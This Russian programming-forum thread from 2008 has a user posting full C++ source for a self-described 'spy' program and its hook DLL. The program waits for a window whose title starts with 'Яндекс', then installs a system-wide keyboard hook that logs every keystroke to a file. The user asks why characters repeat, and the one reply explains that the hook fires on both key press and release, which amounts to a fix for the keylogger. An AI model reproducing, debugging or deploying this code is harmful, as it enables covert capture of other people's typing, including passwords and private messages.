Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.06.2008, 19:35   #1
pilevas
Новичок
Джуниор
 
Регистрация: 17.06.2008
Сообщений: 2
По умолчанию Помогите! Не могу обнаружить ошибку

Написал шпиона на С++, который ищет, открыто ли окно, в котором пресудствует слово Яндекс, и если онон активно, то пишет данные, которые пользователь водит на клавиатуре в файл. В итоге получается, что каждая буква повотряется много раз. В чем ошибка, подскажите если кто знает.

Текст исполняемой программы:
//chpion.cpp
//--------------------------
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
void Registry(void);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию
// Открываем DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL, "KeyboardProc") ;
HINSTANCE hINSTAGE;
while (1)
{
//Запускаем цикл.
int sl,ll;
ll=1;
sl=2;
//переменные для счетчика.
char st[128];
HWND hw;
//Идем самым простым путем - сравниваем посимвольно строки: полученный заголовок окна и с нужном нам строкой.
while (ll!=sl)
{
// Функция GetForegroundWindow возвращает значение дескриптора приоритетного окна (окна, с которым пользователь в настоящее время работает).
hw=GetForegroundWindow();
//Функция GetWindowText предназначена для получения заголовка окна
GetWindowText(hw,st,128);// читаем активное на данный момент окно.
char stt[128]="Яндекс";
//находим длинну строки, которую ы указали для шаблона
sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
//cравниваем посимвольно строки
//это удобнее делать с той позиции, что будет проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно сделать подобие //широкого фильтра.
{
ll++;
}
if (ll==sl)
{
//если строки совпадают до конца 1-ой строки -
break; //прерываем процесс
}
}
// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );
}
}


ТЕКСТ DLL'ки:
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((f=fopen("c:\\logfile.log","a")) !=NULL)
{
char codeklav=MapVirtualKey(wParam,2);
fprintf(f,"%c",codeklav);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
pilevas вне форума Ответить с цитированием
Старый 23.06.2008, 10:48   #2
Somebody
Участник клуба
 
Регистрация: 08.10.2007
Сообщений: 1,185
По умолчанию

KeyboardProc выполняется и при нажатии, и при отпускании клавиши и оба раза пишет в файл.
Somebody вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Не могу найти ошибку! Эдуард Общие вопросы C/C++ 7 27.02.2008 16:34
Не могу выявить ошибку Cyn4uk Общие вопросы Delphi 14 14.01.2008 13:12
формирование матрицы (задание выполненно не могу найти сваю ошибку) КиношкА Помощь студентам 7 11.01.2008 03:50
Паскаль. Не могу найти ошибку. Нужна помощь! Nexx Помощь студентам 10 06.12.2007 19:12